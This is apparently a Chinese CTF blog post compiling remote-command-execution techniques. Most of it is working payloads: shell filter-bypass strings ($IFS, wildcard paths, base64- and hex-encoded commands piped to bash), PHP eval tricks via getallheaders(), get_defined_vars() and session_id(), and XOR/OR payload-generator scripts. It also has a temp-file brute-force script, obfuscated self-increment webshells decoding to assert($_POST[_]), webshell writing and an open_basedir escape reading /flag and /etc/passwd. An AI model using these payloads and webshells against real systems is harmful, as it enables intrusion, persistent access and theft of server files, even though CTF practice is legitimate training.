最近做了题目很多都有命令执行的,这里给自己做一次总结,也给大家一个参考。
这里我感觉对于大家经典rce中可能会收获不少东西,祝愿大家在ctf的道路上越走越远
目录
linux绕过
1.空格绕过
2.关键字绕过
1.过滤cat之类
通配符
2.使用符号及拼接
3.内联执行绕过
3.编码绕过
4.分割符
5.利用环境变量
6.命令执行函数绕过
推荐可以经常使用的脚本
经典rce
文件上传rce:
disable_fuctions绕过:
无参rce:
一.异或 或 取反
二.getallheaders函数
3.get_defined_vars()
4.session_id()
//$IFS在linux下表示分隔符
$IFS
${IFS}
$IFS$9
$IFS$1
这两个也行
<
<>
//用逗号实现空格功能
{cat,flag.php}
//url传递,这个好像必须在php环境
%09//这个就不用多说了吧
%20
more:一页一页的显示档案内容
less:与 more 类似
head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看
file -f:报错出具体内容
sh /flag 2>%261 //报错出文件内容
strings:可以查看
rev:反过来看新增一个xxd可以读取文件
骚操作
curl file:///flag 也行
bash -v /etc/passwd
date -f 好像可以越权读取文件
关于通配这里还有p神的文章给大家详细了解p神的文章
linux下面?可以匹配一个字符
*可以匹配很多字符
所以我们可以利用通配符获取内容
//这里我们先获取123.txt的内容
#命令都在/usr/bin或/bin目录下,大家可以自行查找并修改
#这里以tac为示例
#这里随机挑几种,具体大家可以自行尝试
/???/???/t?? ???.???
/???/???/t?? 123.???
/???/???/t?c ???.txt
/???/???/t?c *.txt注:并非必须这样大家可以自行修改
#cat
/???/???/c?t 123.txt = /usr/bin/cat 123.txt
当字母都过滤我们也可以使用
/???/????64 ???????? 代表/bin/base64 flag.php
当然这里还有base32也是可以使用的
/bin/????32 ???????? 代表 /bin/base32 flag.php
也可以利用 cat /etc$u/passwd
cat fl[abc]g.php //匹配[abc]中的任何一个
cat f[a-z]ag.php //匹配[a-z]中的任何一个
关于通配符的深入用法
我随便创建一个文件,里面有随便创建了一个文件
我不需要kkkki-.dfja这个文件
我们就可以使用时在第七位的?替换成[^.]表示这个位置不希望是句号,那么 kkkki-.dfja这个文件就不会出现
接下来我还不想要这个kkkki-fadf文件出现
就可以将第六位的?替换成[^-]代表着这个第六位不希望是 -
我只希望希望开头是p
我们可以将第一位替换成[p]代表这一位,我只希望是字母p
glob支持利用
[0-9]
来表示一个范围这里再新建一个文件phpJilnHH
我们可以这样匹配/????????/????????[@-[],因为@-[之间全是大写字母
所以经典rce第一题就是这样利用的,当然php临时文件的最后一个字母不一定每次都是大写字母所以我们可以多尝试几次
#一下符号的位置随意都行
c''at 123.txt
ca"t" 123.txt
c\a\t 123.txt
ca``t 1`2`3.txt
#在没有参数的情况下,这些符号默认为空
ca$1t 123.txt
ca$@t 123.txt
ca$*t 123.txt
#或许有奇效的
111`whoami`111
111`\whoami`111
回显:1111root1111: command not found
#拼接
w`f1hgb`ho`f1hgb`am`f1hgb`i
w`\f1hgb`ho`\f1hgb`am`\f1hgb`i
wh$(f1hgb)oa$(f1hgb)mi
wh$(70shuai)oa$(fengfeng)mia=t;b=ca;c=g;d=fla;$b$a$IFS$1$d$c //cat flag
a=faa;b=lage;
${a:0:1}${a:1:1}${b:1:1}${b:3:1}或者${a:0:1}${b:0:3} //flag
//假设该目录有index.php和flag.php
cat `ls` 相当于执行了 cat index.php;cat flag.php
cat $(ls) 和上面一个意思
//可以查看该目录及子目录和隐藏目录所有文件
find --
//echo过滤了,可以使用printf,可以不使用引号
//base64,还有base32之类的,就不一一举例了
printf "Y2F0" | base64 /etc/passwd
或者printf "Y2F0" | base64 -d | bash /etc/passwd //bash被过滤可以使用sh
echo "Y2F0IC9mbGFn" | base64 -d | bash //cat /flag
或者可以这么使用passthru(base64_decode(base64加密后的命令))
//8进制就不写了
//16进制
echo "636174202f6574632f706173737764" | xxd -r -p |bash #cat /etc/passwd
$(printf "\x63\x61\x74\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64")
#cat /etc/passwd这里一部分更加详细的可以看这里极限命令执行
分隔符
; //他是按顺序地独立执行
& //后台执行
&& //前一条命令执行成功时,才执行后一条命令
| //上一条命令的输出,作为下一条命令参数
|| //上一条命令执行失败后,才执行下一条命令
//要PHP环境
%0a //换行符,即\n
%0d //回车符,即\r
也可以直接使用\n或\r
PHP中可以使用?>代替对话一个;
关于这个比较典型的是分号;被过滤,使用include
这是过滤/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i
我们传进去的只有
include$_GET[a]?>,后面的东西并不过滤include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
include$_GET[a]?>&a=data://text/plain,
include$_GET[a]?>&a=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/Pg==
include$_GET[a]?>&a=php://input POST:
骚操作
${%86%86%86%86^%d9%c1%c3%d2}{%86}();&%86=phpinfo(); //%86是木马密码
c=$'\x20-al';ls$c
优点:sh和bash环境都能用
//可以通过env命令看看自己的环境变量
echo $PATH 或者使用 printf输出也行
${PATH}回显:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/local/games:/usr/games
echo ${PATH:0:1} 得到/
echo ${PATH:5:1}${PATH:2:1} 得到ls缺点:sh环境不能使用
这里是借鉴别人的,这里以system为例,当然也是可以使用其他函数的
system("cat /etc/passwd")
=
"\x73\x79\x73\x74\x65\x6d"("cat /etc/passwd");
=
(sy.(st).em)("cat /etc/passwd");
=
//还可以用注释方法绕过
"system/*fthgb666*/("cat /etc/passwd);"
=
"system/*fthgb666*/(wh./*fthgb666*/(oa)/*fthgb666*/.mi);"
=
"(sy./*fthgb666*/(st)/*fthgb666*/.em)/*fthgb666*/(wh./*fthgb666*/(oa)/*fthgb666*/.mi);"
下面这里里以eval()做使用为例
当然不止可以使用system
还可以使用
system() // 假设这个被禁了
assert() //这个应该也是可以用的
passthru() // 感觉和system()差不多
exec() // 只执行无回显#关于这个我们可以写马,也可以tac /fl\ag |tee 1.txt 将返回的内容写入1.txt
shell_exec() // 只执行无回显
popen() // 不会直接返回执行结果,而是返回一个文件指针popen( 'whoami >> c:/1.txt', 'r' );
proc_open() //不会直接返回执行结果,而是返回一个文件指针
pcntl_exec() //大致使用方法pcntl_exec( "/bin/bash" , array("whoami"));call_user_func() //使用方法call_user_func('assert','system("ls");'),注意这里不能使用eval。
也可以使用echo `ls`; 也是可以执行的 //反引号实际上是使用shell_exec()函数
echo `ls`; echo $(ls);
?>=`ls`; ?>=$(ls);
这里=是短标签,代表的是
这个可以根据自己的过滤进行修改,不需要自己去查看有什么过滤了,这样可以更加方便,清楚有什么可以使用,具体功能自己还可以增加。
|\/|\?|\\\\/i", chr($a))) {
echo chr($a)." ";
}
}
|\
遇到这种这种没有过滤点.和斜杠/的,而且过滤了所有大小写字母和数字,这种可能就是经典的rce了
我们这里准备一个文件上传的网页
POST数据包POC
那个链接修改成当前题目的链接
随便上传一个东西,用burpsuite拦包
拦完就放到Repeater就行,包直接drop扔掉就行
参数传入
.%20/???/????????[@-[]
当然>=没过滤的话也可以使用
?>=`.%20/???/????????[@-[]`;?>
/???/????????[@-[]
匹配的就是像/tmp/phpsLaiX这样之类的文件因为大写字母在@-[之间
但是php每次生成的临时文件不可能每一次最后一位都是大写字母,所以我们要多尝试几次
当然这里我们也不是必须使用burpsuite拦包才行,我们也是可以使用python写脚本
import requests
s = requests.session()
while True:
url = "http://10.140.98.245/29-77/56.php"
c = "?c=.+/???/????????[@-[]"
payload = url+c
reques = s.post(url=payload, files={"file":('1.php',b'cat flag.php')})
if reques.text.find("flag") > 0:
print(reques.text)
break
我的可能是本地环境,flag出来的十分的快
注意:这里也是可以使用无参rce中的函数的,可以看看下面。
像这种设置了disable_fuctiongs的,disable_fuctiongs就是PHP禁用函数的
通常默认禁用exec,system,passthru,popen,pclose,shell_exec,proc_open,dl,chmod
默认啊,可能他自己不止禁用这么多
所以我们就要通过别的方法读取flag
注:可以尝试前面闭合列如:?>=print_r(scandir('./'));?>
查看目录
print_r(scandir(dirname('__FILE__'))); //查看当前目录
print_r(scandir('./')); //查看当前目录
print_r(scandir('/')); //查看根目录
$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()."");}
这个可以根据自己修改,glob:///就是查看根目录,glob:///var/www/html/就是查看网页目录
$a=opendir("./");while (($file = readdir($a)) !== false){echo $file . "
";};这个也一样就不多说了
读取文件
使用单一函数的读取
include('flag.php');
require('flag.php');
readfile("flag.php");require_once('flag.php');
print_r(file('flag.php'));var_dump(file("flag.php"));
highlight_file('flag.php');
echo file_get_contents("flag.php");
#file 把整个文件读到一个数组里
$a=fopen("flag.php","r");while (!feof($a)) {$line =fgets($a);echo $line;}#一行一行读$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetc($a);echo $line;}#一个一个字符读取
$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetcsv($a);var_dump($line);}$a=fopen("flag.php","r");echo fread($a,"1000");
$a=fopen("flag.php","r");echo fpassthru($a);使用echo和var_dump换成print_r也是一样的
通过高亮显示文件
show_source("flag.php");
highlight_file("flag.php");
通过复制,然后通过url直接访问flag.txt
因为php是后端语言我们看不到,但是txt就是普通文本
copy("flag.php","flag.txt");
rename("flag.php","flag.txt");
flag.php在最后一个可以使用
highlight_file(next(array_reverse(scandir(current(localeconv())))));
脚本用的是 无参命令执行,就是y佬的脚本,y佬真的是太强了。
像这种过滤了,我们可以使用或来绕过
脚本在这
# -*- coding: utf-8 -*-
# author yu22x
import requests
import urllib
from sys import *
import os
def action(arg):
s1 = ""
s2 = ""
for i in arg:
f = open("or_rce.txt", "r")
while True:
t = f.readline()
if t == "":
break
if t[0] == i:
# print(i)
s1 += t[2:5]
s2 += t[6:9]
break
f.close()
output = "(\"" + s1 + "\"|\"" + s2 + "\")"
return output
while True:
param = action(input("\n[+] your function:")) + action(input("[+] your command:")) + ";"
print(param)
当然有人疑惑or_rce.txt,那来的
这里有另一个脚本,我们可以根据题目所给的正则修改,他会生成or_rce.txt
=32&ord($c)<=126) {
$contents=$contents.$c." ".$a." ".$b."\n";
}
}
}
}
fwrite($myfile, $contents);
fclose($myfile);
当然还有别的方法的
还有通过异或和取反,当然这里禁掉了
异或脚本
# -*- coding: utf-8 -*-
# author yu22x
import requests
import urllib
from sys import *
import os
def action(arg):
s1 = ""
s2 = ""
for i in arg:
f = open("xor_rce.txt", "r")
while True:
t = f.readline()
if t == "":
break
if t[0] == i:
# print(i)
s1 += t[2:5]
s2 += t[6:9]
break
f.close()
output = "(\"" + s1 + "\"^\"" + s2 + "\")"
return output
while True:
param = action(input("\n[+] your function:")) + action(input("[+] your command:")) + ";"
print(param)
异或txt生成脚本
=32&ord($c)<=126) {
$contents=$contents.$c." ".$a." ".$b."\n";
}
}
}
}
fwrite($myfile, $contents);
fclose($myfile);
取反脚本这个不需要txt
当异或 或 取反都不能使用时可以尝试自增马
//使用时需要url编码 $_=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]);
这个马代表assert($_POST[_]);
//需要url编码一下 $_=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]);
这个马代表eval(@_POST[_]);
关于自增详细的可以看这里RCE极限挑战
我们可以通过post 传入 _=phpinfo();先进行测试,因为通常他会过滤很多命令执行的函数
我们可以进行写马 _=file_put_contents("1.php","");
如果写不进去可以尝试加一个\进行转义
如果写马进去没有权限,且十分难提权
我们可以尝试open_basedir绕过直接读取/flag
_=file_put_contents('1.php',"'); mkdir('test'); chdir('test'); ini_set('open_basedir','..'); chdir('..'); chdir('..'); chdir('..'); ini_set('open_basedir','/'); echo file_get_contents('/flag'); print(1);?> ");
在讲解下面之前我们要先了解一下
这里是参考了kali_Ma
目录操作:
getchwd() :函数返回当前工作目录。
scandir() :函数返回指定目录中的文件和目录的数组。
dirname() :函数返回路径中的目录部分。
chdir() :函数改变当前的目录。
数组相关的操作:
end() - 将内部指针指向数组中的最后一个元素,并输出。
next() - 将内部指针指向数组中的下一个元素,并输出。
prev() - 将内部指针指向数组中的上一个元素,并输出。
reset() - 将内部指针指向数组中的第一个元素,并输出。
each() - 返回当前元素的键名和键值,并将内部指针向前移动。
array_shift() - 删除数组中第一个元素,并返回被删除元素的值。
读文件
show_source() - 对文件进行语法高亮显示。
readfile() - 输出一个文件。
highlight_file() - 对文件进行语法高亮显示。
file_get_contents() - 把整个文件读入一个字符串中。
readgzfile() - 可用于读取非 gzip 格式的文件
getallheaders()函数 -> 取得服务器响应一个 HTTP 请求所发送的所有头信息。
注:这个函数不能盲目使用,根据自身题目具体情况使用。
这里我们看一下,注意返回的顺序看自己的。
正是一个请求头的所有东西,这里因为这个函数返回的是一个数组,这里eval只能执行字符串。
第一种方法
使用current()函数 current() 函数返回数组中的当前元素的值。
这里还要记住pos()他是current()的别名
这里返回了documnet
正是请求Sec-Fetch-Dest的值,这里我们修改Sec-Fetch-Dest为phpinfo呢。
看到没有这里返回了 phpinfo(); 那么将var_dump替换成eval那么会不会执行呢。
那么Sec-Fetch-Dest的值替换成其他的也是一样的,列如system('ls');,也是会执行的。
payload:eval(current(getallheaders())); //当然eval也是可以替换成assert 然后根据自己来修改http请求头
第二种方法
使用implode()函数 implode()函数返回一个由数组元素组合成的字符串。
注:前面第一种方法有这里详细一点的解释。
这里我们发现implode函数就是将数组中所有的值 ,拼在一下。
这里的头还是document,这里是修改Sec-Fetch-Dest的值为phpinfo();//
然后将var_dump修改为eval,看看有没有执行。
也是有执行的。
payload:eval(implode(getallheaders())); //eval可以替换成assert 具体修改什么,还是要看自己的请求头
get_defined_vars() 函数返回由所有已定义变量所组成的数组
包含所有已定义变量列表的,这些变量包括环境变量、服务器变量和用户定义的变量。
这里我们看到了get_defined_vars() 函数,返回的都是一些变量之类,且是按顺序的以GET为先这样的顺序。
解法
这里还是使用current()函数
这里返回了,就是我们GET中的变量名和值,这里是有shell这个参数的值是我们可以任意定义的,这里我们使用end()函数和next()函数.
end()函数 将内部指针指向数组中的最后一个元素,并输出
next()函数 将内部指针指向数组中的下一个元素,并输出这里返回的是1,这个1是参数shell的值,这个我们是可以自定义的,可以任意修改的,这里还是老样子,替换var_dump为eval或者assert,shell定义我们想要执行的东西。
payload:eval(next(current(get_defined_vars())));&shell=phpinfo(); //eval可以替换成assert,next可以替换成end
session_id() 返回当前会话ID,换一种说法就是返回cookie中PHPSESSID参数的值。
注:这里我们需要添加一个session_start()是一个用于创建新会话或者重用现有会话的内置函数,有了这个我们才能进行,当然也可以放到session_id()里面。
解题方法
这里一长串其实就是服务器自动生成的,其实就是PHPSESSID的值,这里看一下。
然后在存储也是可以看到的。
这里我们修改这个值。
但是吧这个值只能是a-z, A-Z, 0-9嘿嘿
所以这里还会用到一个函数hex2bin,这个是将16进制转换成字符。
这里我们先加密。
这里就是phpinfo(); 老样子var_dump变成eval或者assert
payload1:eval(hex2bin(session_id())); //有session_start();的情况 cookie:PHPSESSION=16进制加密的字符串 payload2:eval(hex2bin(session_id(session_start()))); //没有session_start();的情况 cookie:PHPSESSION=16进制加密的字符串 //还是老样子eval是可以替换成assert的
举例:#单行注释
遇到eval('#'.$a);
这个我们可以使用
\n \r %0a %0d
?>=`{${~"%a0%b8%ba%ab"}[%a0]}`?>&%a0=cat /flag
?>=system('ls')?>
加强难度
|<|\?|php|".urldecode("%0a")."/i", $a)) {
print($a);
eval("#".$a);
} else {
echo "nonono";
}
这个我们只能使用\r来绕过
还有
|`|\/| |\\\\|\*/i',$_GET["cmd"])){
echo "Don't Hack Me";
}else{
system($_GET["cmd"]);
}
}else{
show_source(__FILE__);
}
flag在根目录下面
这个过滤了et、echo、cat、tac、base、sh、more、less、tail、vi、head、nl、env、fl、|、;、^、'、]、"、<、>、`、\、/
这个过滤是挺多的了,我们整理一下我们可以使用的东西sort可以用了读取文件,没有过滤cd,句号,%0a,还要可以读取的命令,就是已经给我们机会哈哈,就是他是sh的环境,不能使用path来获得/,唉
但是我们可以使用cd ..来到上一个目录,然后通过%0a来进入多次执行命令,fl可以使用未定义的变量来绕过,但是这个那时候没想这么简单,有点往难的方向想了
所以我们使用
%0acd%09..%0acd%09..%0acd%09..%0asort%09f$1lag
当他是eval('echo '.$content.';'); 可以使用数学函数绕过
$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){abs})&pi=system&abs=ls //相当于一个马 base_convert(1751504350,10,36)(base_ convert(15941,10,36). (dechex(16)^asinh^pi)) //相当于system('cat f*')